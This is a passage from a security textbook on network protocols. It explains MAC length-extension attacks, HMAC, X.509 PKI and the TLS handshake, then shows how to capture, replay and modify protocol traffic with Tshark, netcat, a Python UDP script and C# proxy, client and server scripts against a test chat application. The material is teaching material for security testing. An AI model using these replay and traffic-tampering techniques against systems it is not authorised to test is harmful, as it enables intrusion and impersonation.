combination, and compare the resulting value against the signature you sent. If the two values were the same, I could be sure you’re the one who sent the message. How would you combine the key and the message? You might be tempted to try something simple, such as just prefixing the message with the key and hashing to the combined result, as in Figure 7-14. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 7-14: A simple MAC implementation But with many common hashing algorithms (including MD5 and SHA-1), this would be a serious security mistake, because it opens a vulnerability known as the length-extension attack. To understand why, you need to know a bit about the construction of hashing algorithms. Length-Extension and Collision Attacks Many common hashing algorithms, including MD5 and SHA-1, consist of a block structure. When hashing a message, the algorithm must first split the message into equal- sized blocks to process. (MD5, for example, uses a block size of 64 bytes.) As the hashing algorithm proceeds, the only state it maintains between each block is the hash value of the previous block. For the first block, the previous hash value is a set of well-chosen constants. The well-chosen constants are specified as part of the algorithm and are generally important for the secure operation. Figure 7-15 shows an example of how this works in MD5. |||||||||||||||||||| |||||||||||||||||||| Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 7-15: The block structure of MD5 It’s important to note that the final output from the block-hashing process depends only on the previous block hash and the current block of the message. No permutation is applied to the final hash value. Therefore, it’s possible to extend the hash value by starting the algorithm at the last hash instead of the predefined constants and then running through blocks of data you want to add to the final hash. In the case of a MAC in which the key has been prefixed at the start of the message, this structure might allow an attacker to alter the message in some way, such as by appending extra data to the end of an uploaded file. If the attacker can append more blocks to the end of the message, they can calculate the corresponding value of the MAC without knowing the key because the key has already been hashed into the state of the algorithm by the time the attacker has control. What if you move the key to the end of the message rather than attaching it to the front? Such an approach certainly prevents the length-extension attack, but there’s still a problem. Instead of an extension, the attacker needs to find a hash collision—that is, a message with the same hash value as the real message being sent. Because many hashing algorithms (including MD5) are not collision resistant, the MAC may be open to this kind of collision attack. (One hashing algorithm that’s not vulnerable to this attack is SHA-3.) Hashed Message Authentication Codes You can use a Hashed Message Authentication Code (HMAC) to counter the attacks described in the previous section. Instead of directly appending the key to the message and using the hashed output to produce a signature, an HMAC splits the process into two parts. First, the key is XORed with a padding block equal to the block size of the hashing algorithm. This first padding block is filled with a repeating value, typically the byte 0x36. The combined result is the first key, sometimes called the inner padding block. This is prefixed to the message, and the hashing algorithm is applied. The second step takes the hash value from the first step, prefixes the hash with a new key (called the outer padding block, which typically uses the constant 0x5C), and applies the hash algorithm again. The result is the final HMAC value. Figure 7-16 diagrams this process. |||||||||||||||||||| |||||||||||||||||||| Figure 7-16: HMAC construction This construction is resistant to length-extension and collision attacks because the attacker can’t easily predict the final hash value without the key. Public Key Infrastructure How do you verify the identity of the owner of a public key in public key encryption? Simply because a key is published with an associated identity—say, Bob Smith from London—doesn’t mean it really comes from Bob Smith from London. For example, if I’ve managed to make you trust my public key as coming from Bob, anything you encrypt to him will be readable only by me, because I own the private key. To mitigate this threat, you implement a Public Key Infrastructure (PKI), which refers to the combined set of protocols, encryption key formats, user roles, and policies used to manage asymmetric public key information across a network. One model of PKI, the web of trust (WOT), is used by such applications as Pretty Good Privacy (PGP). In the WOT model, the identity of a public key is attested to by someone you trust, perhaps someone you’ve met in person. Unfortunately, although the WOT works well for email, where you’re likely to know who you’re communicating with, it doesn’t work as well for automated network applications and business processes. X.509 Certificates When a WOT won’t do, it’s common to use a more centralized trust model, such as X.509 certificates, which generate a strict hierarchy of trust rather than rely on directly trusting peers. X.509 certificates are used to verify web servers, sign executable programs, or authenticate to a network service. Trust is provided through a hierarchy of certificates using asymmetric signature algorithms, such as RSA and DSA. To complete this hierarchy, valid certificates must contain at least four pieces of information: Technet24 |||||||||||||||||||| |||||||||||||||||||| • The subject, which specifies the identity for the certificate • The subject’s public key • The issuer, which identifies the signing certificate • A valid signature applied over the certificate and authenticated by the issuer’s private key These requirements create a hierarchy called a chain of trust between certificates, as shown in Figure 7-17. One advantage to this model is that because only public key information is ever distributed, it’s possible to provide component certificates to users via public networks. Figure 7-17: The X.509 certificate chain of trust Note that there is usually more than one level in the hierarchy, because it would be unusual for the root certificate issuer to directly sign certificates used by an application. The root certificate is issued by an entity called a certificate authority (CA), which might be a public organization or company (such as Verisign) or a private entity that issues certificates for use on internal networks. The CA’s job is to verify the identity of anyone it issues certificates to. Unfortunately, the amount of actual checking that occurs is not always clear; often, CAs |||||||||||||||||||| |||||||||||||||||||| are more interested in selling signed certificates than in doing their jobs, and some CAs do little more than check whether they’re issuing a certificate to a registered business address. Most diligent CAs should at least refuse to generate certificates for known companies, such as Microsoft or Google, when the certificate request doesn’t come from the company in question. By definition, the root certificate can’t be signed by another certificate. Instead, the root certificate is a self-signed certificate where the private key associated with the certificate’s public key is used to sign itself. Verifying a Certificate Chain To verify a certificate, you follow the issuance chain back to the root certificate, ensuring at each step that every certificate has a valid signature that hasn’t expired. At this point, you decide whether you trust the root certificate—and, by extension, the identity of the certificate at the end of the chain. Most applications that handle certificates, like web browsers and operating systems, have a trusted root certificate database. What’s to stop someone who gets a web server certificate from signing their own fraudulent certificate using the web server’s private key? In practice, they can do just that. From a cryptography perspective, one private key is the same as any other. If you based the trust of a certificate on the chain of keys, the fraudulent certificate would chain back to a trusted root and appear to be valid. To protect against this attack, the X.509 specification defines the basic constraints parameter, which can be optionally added to a certificate. This parameter is a flag that indicates the certificate can be used to sign another certificate and thus act as a CA. If a certificate’s CA flag is set to false (or if the basic constraints parameter is missing), the verification of the chain should fail if that certificate is ever used to sign another certificate. Figure 7-18 shows this basic constraint parameter in a real certificate that says this certificate should be valid to act as a certificate authority. But what if a certificate issued for verifying a web server is used instead to sign application code? In this situation, the X.509 certificate can specify a key usage parameter, which indicates what uses the certificate was generated for. If the certificate is ever used for something it was not designed to certify, the verification chain should fail. Finally, what happens if the private key associated with a given certificate is stolen or a CA accidentally issues a fraudulent certificate (as has happened a few times)? Even though each certificate has an expiration date, this date might be many years in the future. Therefore, if a certificate needs to be revoked, the CA can publish a certificate revocation list (CRL). If any certificate in the chain is on the revocation list, the verification process should fail. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 7-18: X.509 certificate basic constraints As you can see, the certificate chain verification could potentially fail in a number of places. Case Study: Transport Layer Security Let’s apply some of the theory behind protocol security and cryptography to a real-world protocol. Transport Layer Security (TLS), formerly called Secure Sockets Layer (SSL), is the most common security protocol in use on the internet. TLS was originally developed as SSL by Netscape in the mid-1990s for securing HTTP connections. The protocol has gone through multiple revisions: SSL versions 1.0 through 3.0 and TLS versions 1.0 through 1.2. Although it was originally designed for HTTP, you can use TLS for any TCP protocol. There’s even a variant, the Datagram Transport Layer Security (DTLS) protocol, to use with unreliable protocols, such as UDP. |||||||||||||||||||| |||||||||||||||||||| TLS uses many of the constructs described in this chapter, including symmetric and asymmetric encryption, MACs, secure key exchange, and PKI. I’ll discuss the role each of these cryptographic tools plays in the security of a TLS connection and touch on some attacks against the protocol. (I’ll only discuss TLS version 1.0, because it’s the most commonly supported version, but be aware that versions 1.1 and 1.2 are slowly becoming more common due to a number of security issues with version 1.0.) The TLS Handshake The most important part of establishing a new TLS connection is the handshake, where the client and server negotiate the type of encryption they’ll use, exchange a unique key for the connection, and verify each other’s identity. All communication uses a TLS Record protocol —a predefined tag-length-value structure that allows the protocol parser to extract individual records from the stream of bytes. All handshake packets are assigned a tag value of 22 to distinguish them from other packets. Figure 7-19 shows the flow of these handshake packets in a simplified form. (Some packets are optional, as indicated in the figure.) As you can see from all the data being sent back and forth, the handshake process can be time-intensive: sometimes it can be truncated or bypassed entirely by caching a previously negotiated session key or by the client’s asking the server to resume a previous session by providing a unique session identifier. This isn’t a security issue because, although a malicious client could request the resumption of a session, the client still won’t know the private negotiated session key. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 7-19: The TLS handshake process Initial Negotiation As the first step in the handshake, the client and server negotiate the security parameters they want to use for the TLS connection using a HELLO message. One of the pieces of information in a HELLO message is the client random, a random value that ensures the connection process cannot be easily replayed. The HELLO message also indicates what types of ciphers the client supports. Although TLS is designed to be flexible with regard to what encryption algorithms it uses, it only supports symmetric ciphers, such as RC4 or AES, because using public key encryption would be too expensive from a computational perspective. The server responds with its own HELLO message that indicates what cipher it has chosen from the available list provided by the client. (The connection ends if the pair cannot negotiate a common cipher.) The server HELLO message also contains the server random, another random value that adds additional replay protection to the connection. Next, the server sends its X.509 certificate, as well as any necessary intermediate CA certificates, so the client can make an informed decision about the identity of the server. Then the server sends a HELLO Done packet to inform the client it can proceed to authenticate the connection. |||||||||||||||||||| |||||||||||||||||||| Endpoint Authentication The client must verify that the server certificates are legitimate and that they meet the client’s own security requirements. First, the client must verify the identity in the certificate by matching the certificate’s Subject field to the server’s domain name. For example, Figure 7-20 shows a certificate for the domain www.domain.com. The Subject contains a Common Name (CN) ➊ field that matches this domain. Figure 7-20: The Certificate Subject for www.domain.com A certificate’s Subject and Issuer fields are not simple strings but X.500 names, which contain other fields, such as the Organization (typically the name of the company that owns the certificate) and Email (an arbitrary email address). However, only the CN is ever checked during the handshake to verify an identity, so don’t be confused by the extra data. It’s also possible to have wildcards in the CN field, which is useful for sharing certificates with multiple servers running on a subdomain name. For example, a CN set to Technet24 |||||||||||||||||||| |||||||||||||||||||| *.domain.com would match both www.domain.com and blog.domain.com. After the client has checked the identity of the endpoint (that is, the server at the other end of the connection), it must ensure that the certificate is trusted. It does so by building the chain of trust for the certificate and any intermediate CA certificates, checking to make sure none of the certificates appear on any certificate revocation lists. If the root of the chain is not trusted by the client, it can assume the certificate is suspect and drop the connection to the server. Figure 7-21 shows a simple chain with an intermediate CA for www.domain.com. Figure 7-21: The chain of trust for www.domain.com TLS also supports an optional client certificate that allows the server to authenticate the client. If the server requests a client certificate, it sends a list of acceptable root certificates to the client during its HELLO phase. The client can then search its available certificates and choose the most appropriate one to send back to the server. It sends the certificate— along with a verification message containing a hash of all the handshake messages sent and |||||||||||||||||||| |||||||||||||||||||| received up to this point—signed with the certificate’s private key. The server can verify that the signature matches the key in the certificate and grant the client access; however, if the match fails, the server can close the connection. The signature proves to the server that the client possesses the private key associated with the certificate. Establishing Encryption When the endpoint has been authenticated, the client and server can finally establish an encrypted connection. To do so, the client sends a randomly generated pre-master secret to the server encrypted with the server’s certificate public key. Next, both client and server combine the pre-master secret with the client and server randoms, and they use this combined value to seed a random number generator that generates a 48-byte master secret, which will be the session key for the encrypted connection. (The fact that both the server and the client generate the master key provides replay protection for the connection, because if either endpoint sends a different random during negotiation, the endpoints will generate different master secrets.) When both endpoints have the master secret, or session key, an encrypted connection is possible. The client issues a change cipher spec packet to tell the server it will only send encrypted messages from here on. However, the client needs to send one final message to the server before normal traffic can be transmitted: the finished packet. This packet is encrypted with the session key and contains a hash of all the handshake messages sent and received during the handshake process. This is a crucial step in protecting against a downgrade attack, in which an attacker modifies the handshake process to try to reduce the security of the connection by selecting weak encryption algorithms. Once the server receives the finished message, it can validate that the negotiated session key is correct (otherwise, the packet wouldn’t decrypt) and check that the hash is correct. If not, it can close the connection. But if all is correct, the server will send its own change cipher spec message to the client, and encrypted communications can begin. Each encrypted packet is also verified using an HMAC, which provides data authentication and ensures data integrity. This verification is particularly important if a stream cipher, such as RC4, has been negotiated; otherwise, the encrypted blocks could be trivially modified. Meeting Security Requirements The TLS protocol successfully meets the four security requirements listed at the beginning of this chapter and summarized in Table 7-4. Table 7-4: How TLS Meets Security Requirements Security requirement How it’s met Technet24 |||||||||||||||||||| |||||||||||||||||||| Data confidentiality Selectable strong cipher suites Secure key exchange Data integrity Encrypted data is protected by an HMAC Handshake packets are verified by final hash verification Server authentication The client can choose to verify the server endpoint using the PKI and the issued certificate Client authentication Optional certificate-based client authentication But there are problems with TLS. The most significant one, which as of this writing has not been corrected in the latest versions of the protocol, is its reliance on certificate- based PKI. The protocol depends entirely on trust that certificates are issued to the correct people and organizations. If the certificate for a network connection indicates the application is communicating to a Google server, you assume that only Google would be able to purchase the required certificate. Unfortunately, this isn’t always the case. Situations in which corporations and governments have subverted the CA process to generate certificates have been documented. In addition, mistakes have been made when CAs didn’t perform their due diligence and issued bad certificates, such as the Google certificate shown in Figure 7-22 that eventually had to be revoked. |||||||||||||||||||| |||||||||||||||||||| Figure 7-22: A certificate for Google “wrongly” issued by CA TÜRKTRUST One partial fix to the certificate model is a process called certificate pinning. Pinning means that an application restricts acceptable certificates and CA issuers for certain domains. As a result, if someone manages to fraudulently obtain a valid certificate for www.google.com, the application will notice that the certificate doesn’t meet the CA restrictions and will fail the connection. Of course, certificate pinning has its downsides and so is not applicable to every scenario. The most prevalent issue is the management of the pinning list; specifically, building an initial list might not be too challenging a task, but updating the list adds additional burdens. Another issue is that a developer cannot easily migrate the certificates to another CA or easily change certificates without also having to issue updates to all clients. Another problem with TLS, at least when it comes to network surveillance, is that a TLS connection can be captured from the network and stored by an attacker until it’s Technet24 |||||||||||||||||||| |||||||||||||||||||| needed. If that attacker ever obtains the server’s private key, all historical traffic could be decrypted. For this reason, a number of network applications are moving toward exchanging keys using the DH algorithm in addition to using certificates for identity verification. This allows for perfect forward secrecy—even if the private key is compromised, it shouldn’t be easy to also calculate the DH-generated key. Final Words This chapter focused on the basics of protocol security. Protocol security has many aspects and is a very complex topic. Therefore, it’s important to understand what could go wrong and identify the problem during any protocol analysis. Encryption and signatures make it difficult for an attacker to capture sensitive information being transmitted over a network. The process of encryption converts plaintext (the data you want to hide) into cipher text (the encrypted data). Signatures are used to verify that the data being transmitted across a network hasn’t been compromised. An appropriate signature can also be used to verify the identity of the sender. The ability to verify the sender is very useful for authenticating users and computers over an untrusted network. Also described in this chapter are some possible attacks against cryptography as used in protocol security, including the well-known padding oracle attack, which could allow an attack to decrypt traffic being sent to and from a server. In later chapters, I’ll explain in more detail how to analyze a protocol for its security configuration, including the encryption algorithms used to protect sensitive data. |||||||||||||||||||| |||||||||||||||||||| 8 IMPLEMENTING THE NETWORK PROTOCOL Analyzing a network protocol can be an end in itself; however, most likely you’ll want to implement the protocol so you can actually test it for security vulnerabilities. In this chapter, you’ll learn ways to implement a protocol for testing purposes. I’ll cover techniques to repurpose as much existing code as possible to reduce the amount of development effort you’ll need to do. This chapter uses my SuperFunkyChat application, which provides testing data and clients and servers to test against. Of course, you can use any protocol you like: the fundamentals should be the same. Replaying Existing Captured Network Traffic Ideally, we want to do only the minimum necessary to implement a client or server for security testing. One way to reduce the amount of effort required is to capture example network protocol traffic and replay it to real clients or servers. We’ll look at three ways to achieve this goal: using Netcat to send raw binary data, using Python to send UDP packets, and repurposing our analysis code in Chapter 5 to implement a client and a server. Capturing Traffic with Netcat Netcat is the simplest way to implement a network client or server. The basic Netcat tool is available on most platforms, although there are multiple versions with different command line options. (Netcat is sometimes called nc or netcat.) We’ll use the BSD version of Netcat, which is used on macOS and is the default on most Linux systems. You might need to adapt commands if you’re on a different operating system. The first step when using Netcat is to capture some traffic you want to replay. We’ll use the Tshark command line version of Wireshark to capture traffic generated by SuperFunkyChat. (You may need to install Tshark on your platform.) To limit our capture to packets sent to and received by our ChatServer running on TCP port 12345, we’ll use a Berkeley Packet Filter (BPF) expression to restrict the capture to a very specific set of packets. BPF expressions limit the packets captured, whereas Wireshark’s display filter limits only the display of a much larger set of capture packets. Run the following command at the console to begin capturing port 12345 traffic and writing the output to the file capture.pcap. Replace INTNAME with the name of the interface you’re capturing from, such as eth0. Technet24 |||||||||||||||||||| |||||||||||||||||||| $ tshark -i INTNAME -w capture.pcap tcp port 12345 Make a client connection to the server to start the packet capture and then stop the capture by pressing CTRL+C in the console running Tshark. Make sure you’ve captured the correct traffic into the output file by running Tshark with the -r parameter and specifying the capture.pcap file. Listing 8-1 shows example output from Tshark with the addition of the parameters -z conv,tcp to print the list of capture conversations. $ tshark -r capture.pcap -z conv,tcp ➊ 1 0 192.168.56.1 → 192.168.56.100 TCP 66 26082 → 12345 [SYN] 2 0.000037695 192.168.56.100 → 192.168.56.1 TCP 66 12345 → 26082 [SYN, ACK] 3 0.000239814 192.168.56.1 → 192.168.56.100 TCP 60 26082 → 12345 [ACK] 4 0.007160883 192.168.56.1 → 192.168.56.100 TCP 60 26082 → 12345 [PSH, ACK] 5 0.007225155 192.168.56.100 → 192.168.56.1 TCP 54 12345 → 26082 [ACK] --snip-- ================================================================================ TCP Conversations Filter:<No Filter> | <- | | -> | | Frames Bytes | | Frames Bytes | 192.168.56.1:26082 <-> 192.168.56.100:12345➋ 17 1020➌ 28 1733➍ ================================================================================ Listing 8-1: Verifying the capture of the chat protocol traffic As you can see in Listing 8-1, Tshark prints the list of raw packets at ➊ and then displays the conversation summary ➋, which shows that we have a connection going from 192.168.56.1 port 26082 to 192.168.56.100 port 12345. The client on 192.168.56.1 has received 17 frames or 1020 bytes of data ➌, and the server received 28 frames or 1733 bytes of data ➍. Now we use Tshark to export just the raw bytes for one direction of the conversation: $ tshark -r capture.pcap -T fields -e data 'tcp.srcport==26082' > outbound.txt This command reads the packet capture and outputs the data from each packet; it doesn’t filter out items like duplicate or out-of-order packets. There are a couple of details to note about this command. First, you should use this command only on captures produced on a reliable network, such as via localhost or a local network connection, or you might see erroneous packets in the output. Second, the data field is only available if the protocol isn’t decoded by a dissector. This is not an issue with the TCP capture, but when we move to UDP, we’ll need to disable dissectors for this command to work correctly. Recall that at ➋ in Listing 8-1, the client session was using port 26082. The display filter tcp.srcport==26082 removes all traffic from the output that doesn’t have a TCP source port of 26082. This limits the output to traffic from the client to the server. The result is the data in hex format, similar to Listing 8-2. $ cat outbound.txt 42494e58 0000000d |||||||||||||||||||| |||||||||||||||||||| 00000347 00 057573657231044f4e595800 --snip-- Listing 8-2: Example output from dumping raw traffic Next, we convert this hex output to raw binary. The simplest way to do so is with the xxd tool, which is installed by default on most Unix-like systems. Run the xxd command, as shown in Listing 8-3, to convert the hex dump to a binary file. (The -p parameter converts raw hex dumps rather than the default xxd format of a numbered hex dump.) $ xxd -p -r outbound.txt > outbound.bin $ xxd outbound.bin 00000000: 4249 4e58 0000 000d 0000 0347 0005 7573 BINX.......G..us 00000010: 6572 3104 4f4e 5958 0000 0000 1c00 0009 er1.ONYX........ 00000020: 7b03 0575 7365 7231 1462 6164 6765 7220 {..user1.badger --snip-- Listing 8-3: Converting the hex dump to binary data Finally, we can use Netcat with the binary data file. Run the following netcat command to send the client traffic in outbound.bin to a server at HOSTNAME port 12345. Any traffic sent from the server back to the client will be captured in inbound.bin. $ netcat HOSTNAME 12345 < outbound.bin > inbound.bin You can edit outbound.bin with a hex editor to change the session data you’re replaying. You can also use the inbound.bin file (or extract it from a PCAP) to send traffic back to a client by pretending to be the server using the following command: $ netcat -l 12345 < inbound.bin > new_outbound.bin Using Python to Resend Captured UDP Traffic One limitation of using Netcat is that although it’s easy to replay a streaming protocol such as TCP, it’s not as easy to replay UDP traffic. The reason is that UDP traffic needs to maintain packet boundaries, as you saw when we tried to analyze the Chat Application protocol in Chapter 5. However, Netcat will just try to send as much data as it can when sending data from a file or a shell pipeline. Instead, we’ll write a very simple Python script that will replay the UDP packets to the server and capture any results. First, we need to capture some UDP example chat protocol traffic using the ChatClient’s --udp command line parameter. Then we’ll use Tshark to save the packets to the file udp_capture.pcap, as shown here: tshark -i INTNAME -w udp_capture.pcap udp port 12345 Next, we’ll again convert all client-to-server packets to hex strings so we can process Technet24 |||||||||||||||||||| |||||||||||||||||||| them in the Python client: tshark -T fields -e data -r udp_capture.pcap --disable-protocol gvsp/ "udp.dstport==12345" > udp_outbound.txt One difference in extracting the data from the UDP capture is that Tshark automatically tries to parse the traffic as the GVSP protocol. This results in the data field not being available. Therefore, we need to disable the GVSP dissector to create the correct output. With a hex dump of the packets, we can finally create a very simple Python script to send the UDP packets and capture the response. Copy Listing 8-4 into udp_client.py. udp_client.py import sys import binascii from socket import socket, AF_INET, SOCK_DGRAM if len(sys.argv) < 3: print("Specify destination host and port") exit(1) # Create a UDP socket with a 1sec receive timeout sock = socket(AF_INET, SOCK_DGRAM) sock.settimeout(1) addr = (sys.argv[1], int(sys.argv[2])) for line in sys.stdin: msg = binascii.a2b_hex(line.strip()) sock.sendto(msg, addr) try: data, server = sock.recvfrom(1024) print(binascii.b2a_hex(data)) except: pass Listing 8-4: A simple UDP client to send network traffic capture Run the Python script using following command line (it should work in Python 2 and 3), replacing HOSTNAME with the appropriate host: python udp_client.py HOSTNAME 12345 < udp_outbound.txt The server should receive the packets, and any received packets in the client should be printed to the console as binary strings. Repurposing Our Analysis Proxy In Chapter 5, we implemented a simple proxy for SuperFunkyChat that captured traffic and implemented some basic traffic parsing. We can use the results of that analysis to implement a network client and a network server to replay and modify traffic, allowing us to reuse much of our existing work developing parsers and associated code rather than having to rewrite it for a different framework or language. |||||||||||||||||||| |||||||||||||||||||| Capturing Example Traffic Before we can implement a client or a server, we need to capture some traffic. We’ll use the parser.csx script we developed in Chapter 5 and the code in Listing 8-5 to create a proxy to capture the traffic from a connection. chapter8_capture _proxy.csx #load "parser.csx" using static System.Console; using static CANAPE.Cli.ConsoleUtils; var template = new FixedProxyTemplate(); // Local port of 4444, destination 127.0.0.1:12345 template.LocalPort = 4444; template.Host = "127.0.0.1"; template.Port = 12345; ➊ template.AddLayer<Parser>(); var service = template.Create(); service.Start(); WriteLine("Created {0}", service); WriteLine("Press Enter to exit..."); ReadLine(); service.Stop(); WriteLine("Writing Outbound Packets to packets.bin"); ➋ service.Packets.WriteToFile("packets.bin", "Out"); Listing 8-5: The proxy to capture chat traffic to a file Listing 8-5 sets up a TCP listener on port 4444, forwards new connections to 127.0.0.1 port 12345, and captures the traffic. Notice that we still add our parsing code to the proxy at ➊ to ensure that the captured data has the data portion of the packet, not the length or checksum information. Also notice that at ➋, we write the packets to a file, which will include all outbound and inbound packets. We’ll need to filter out a specific direction of traffic later to send the capture over the network. Run a single client connection through this proxy and exercise the client a good bit. Then close the connection in the client and press ENTER in the console to exit the proxy and write the packet data to packets.bin. (Keep a copy of this file; we’ll need it for our client and server.) Implementing a Simple Network Client Next, we’ll use the captured traffic to implement a simple network client. To do so, we’ll use the NetClientTemplate class to establish a new connection to the server and provide us with an interface to read and write network packets. Copy Listing 8-6 into a file named chapter8_client.csx. chapter8 _client.csx #load "parser.csx" Technet24 |||||||||||||||||||| |||||||||||||||||||| using static System.Console; using static CANAPE.Cli.ConsoleUtils; ➊ if (args.Length < 1) { WriteLine("Please Specify a Capture File"); return; } ➋ var template = new NetClientTemplate(); template.Port = 12345; template.Host = "127.0.0.1"; template.AddLayer<Parser>(); ➌ template.InitialData = new byte[] { 0x42, 0x49, 0x4E, 0x58 }; ➍ var packets = LogPacketCollection.ReadFromFile(args[0]); ➎ using(var adapter = template.Connect()) { WriteLine("Connected"); // Write packets to adapter ➏ foreach(var packet in packets.GetPacketsForTag("Out")) { adapter.Write(packet.Frame); } // Set a 1000ms timeout on read so we disconnect adapter.ReadTimeout = 1000; ➐ DataFrame frame = adapter.Read(); while(frame != null) { WritePacket(frame); frame = adapter.Read(); } } Listing 8-6: A simple client to replace SuperFunkyChat traffic One new bit in this code is that each script gets a list of command line arguments in the args variable ➊. By using command line arguments, we can specify different packet capture files without having to modify the script. The NetClientTemplate is configured ➋ similarly to our proxy, making connections to 127.0.0.1:12345 but with a few differences to support the client. For example, because we parse the initial network traffic inside the Parser class, our capture file doesn’t contain the initial magic value that the client sends to the server. We add an InitialData array to the template with the magic bytes ➌ to correctly establish the connection. We then read the packets from the file ➍ into a packet collection. When everything is configured, we call Connect() to establish a new connection to the server ➎. The Connect() method returns a Data Adapter that allows us to read and write parsed packets on the connection. Any packet we read will also go through the Parser and remove the length and checksum fields. Next, we filter the loaded packets to only outbound and write them to the network connection ➏. The Parser class again ensures that any data packets we write have the appropriate headers attached before being sent to the server. Finally, we read out packets and print them to the console until the connection is closed or the read times out ➐. When you run this script, passing the path to the packets we captured earlier, it should |||||||||||||||||||| |||||||||||||||||||| connect to the server and replay your session. For example, any message sent in the original capture should be re-sent. Of course, just replaying the original traffic isn’t necessarily that useful. It would be more useful to modify traffic to test features of the protocol, and now that we have a very simple client, we can modify the traffic by adding some code to our send loop. For example, we might simply change our username in all packets to something else—say from user1 to bobsmith—by replacing the inner code of the send loop (at ➏ in Listing 8-6) with the code shown in Listing 8-7. ➊ string data = packet.Frame.ToDataString(); ➋ data = data.Replace("\u0005user1", "\u0008bobsmith"); adapter.Write(data.ToDataFrame()); Listing 8-7: A simple packet editor for the client To edit the username, we first convert the packet into a format we can work with easily. In this case, we convert it to a binary string using the ToDataString() method ➊, which results in a C# string where each byte is converted directly to the same character value. Because the strings in SuperFunkyChat are prefixed with their length, at ➋ we use the \uXXXX escape sequence to replace the byte 5 with 8 for the new length of the username. You can replace any nonprintable binary character in the same way, using the escape sequence for the byte values. When you rerun the client, all instances of user1 should be replaced with bobsmith. (Of course, you can do far more complicated packet modification at this point, but I’ll leave that for you to experiment with.) Implementing a Simple Server We’ve implemented a simple client, but security issues can occur in both the client and server applications. So now we’ll implement a custom server similar to what we’ve done for the client. First, we’ll implement a small class to act as our server code. This class will be created for every new connection. A Run() method in the class will get a Data Adapter object, essentially the same as the one we used for the client. Copy Listing 8-8 into a file called chat_server.csx. chat_server.csx using CANAPE.Nodes; using CANAPE.DataAdapters; using CANAPE.Net.Templates; ➊ class ChatServerConfig { public LogPacketCollection Packets { get; private set; } public ChatServerConfig() { Packets = new LogPacketCollection(); } } Technet24 |||||||||||||||||||| |||||||||||||||||||| ➋ class ChatServer : BaseDataEndpoint<ChatServerConfig> { public override void Run(IDataAdapter adapter, ChatServerConfig config) { Console.WriteLine("New Connection"); ➌ DataFrame frame = adapter.Read(); // Wait for the client to send us the first packet if (frame != null) { // Write all packets to client ➍ foreach(var packet in config.Packets) { adapter.Write(packet.Frame); } } frame = adapter.Read(); } } Listing 8-8: A simple server class for chat protocol The code at ➊ is a configuration class that simply contains a log packet collection. We could have simplified the code by just specifying LogPacketCollection as the configuration type, but doing so with a distinct class demonstrates how you might add your own configuration more easily. The code at ➋ defines the server class. It contains the Run() function, which takes a data adapter and the server configuration, and allows us to read and write to the data adapter after waiting for the client to send us a packet ➌. Once we’ve received a packet, we immediately send our entire packet list to the client ➍. Note that we don’t filter the packets at ➍, and we don’t specify that we’re using any particular parser for the network traffic. In fact, this entire class is completely agnostic to the SuperFunkyChat protocol. We configure much of the behavior for the network server inside a template, as shown in Listing 8-9. chapter8 _example _server.csx ➊ #load "chat_server.csx" #load "parser.csx" using static System.Console; if (args.Length < 1) { WriteLine("Please Specify a Capture File"); return; } ➋ var template = new NetServerTemplate<ChatServer, ChatServerConfig>(); template.LocalPort = 12345; template.AddLayer<Parser>(); ➌ var packets = LogPacketCollection.ReadFromFile(args[0]) .GetPacketsForTag("In"); template.ServerFactoryConfig.Packets.AddRange(packets); ➍ var service = template.Create(); service.Start(); WriteLine("Created {0}", service); WriteLine("Press Enter to exit..."); ReadLine(); service.Stop(); |||||||||||||||||||| |||||||||||||||||||| Listing 8-9: A simple example ChatServer Listing 8-9 might look familiar because it’s very similar to the script we used for the DNS server in Listing 2-11. We begin by loading in the chat_server.csx script to define our ChatServer class ➊. Next, we create a server template at ➋ by specifying the type of the server and the configuration type. Then we load the packets from the file passed on the command line, filtering to capture only inbound packets and adding them to the packet collection in the configuration ➌. Finally, we create a service and start it ➍, just as we do proxies. The server is now listening for new connections on TCP port 12345. Try the server with the ChatClient application; the captured traffic should be sent back to the client. After all the data has been sent to the client, the server will automatically close the connection. As long as you observe the message we re-sent, don’t worry if you see an error in the ChatClient’s output. Of course, you can add functionality to the server, such as modifying traffic or generating new packets. Repurposing Existing Executable Code In this section, we’ll explore various ways to repurpose existing binary executable code to reduce the amount of work involved in implementing a protocol. Once you’ve determined a protocol’s details by reverse engineering the executable (perhaps using some tips from Chapter 6), you’ll quickly realize that if you can reuse the executable code, you’ll avoid having to implement the protocol. Ideally, you’ll have the source code you’ll need to implement a particular protocol, either because it’s open source or the implementation is in a scripting language like Python. If you do have the source code, you should be able to recompile or directly reuse the code in your own application. However, when the code has been compiled into a binary executable, your options can be more limited. We’ll look at each scenario now. Managed language platforms, such as .NET and Java, are by far the easiest in which to reuse existing executable code, because they have a well-defined metadata structure in compiled code that allows a new application to be compiled against internal classes and methods. In contrast, in many unmanaged platforms, such as C/C++, the compiler will make no guarantees that any component inside a binary executable can be easily called externally. Well-defined metadata also supports reflection, which is the ability of an application to support late binding of executable code to inspect data at runtime and to execute arbitrary methods. Although you can easily decompile many managed languages, it may not always be convenient to do so, especially when dealing with obfuscated applications. This is because the obfuscation can prevent reliable decompilation to usable source code. Of course, the parts of the executable code you’ll need to execute will depend on the application you’re analyzing. In the sections that follow, I’ll detail some coding patterns Technet24 |||||||||||||||||||| |||||||||||||||||||| and techniques to use to call the appropriate parts of the code in .NET and Java applications, the platforms you’re most likely to encounter. Repurposing Code in .NET Applications As discussed in Chapter 6, .NET applications are made up of one or more assemblies, which can be either an executable (with an .exe extension) or a library (.dll). When it comes to repurposing existing code, the form of the assembly doesn’t matter because we can call methods in both equally. Whether we can just compile our code against the assembly’s code will depend on the visibility of the types we’re trying to use. The .NET platform supports different visibility scopes for types and members. The three most important forms of visibility scope are public, private, and internal. Public types or members are available to all callers outside the assembly. Private types or members are limited in scope to the current type (for example, you can have a private class inside a public class). Internal visibility scopes the types or members to only callers inside the same assembly, where they act as if they were public (although an external call cannot compile against them). For example, consider the C# code in Listing 8-10. ➊ public class PublicClass { private class PrivateClass { ➋ public PrivatePublicMethod() {} } internal class InternalClass { ➌ public void InternalPublicMethod() {} } private void PrivateMethod() {} internal void InternalMethod() {} ➍ public void PublicMethod() {} } Listing 8-10: Examples of .NET visibility scopes Listing 8-10 defines a total of three classes: one public, one private, and one internal. When you compile against the assembly containing these types, only PublicClass can be directly accessed along with the class’s PublicMethod() (indicated by ➊ and ➍); attempting to access any other type or member will generate an error in the compiler. But notice at ➋ and ➌ that public members are defined. Can’t we also access those members? Unfortunately, no, because these members are contained inside the scope of a 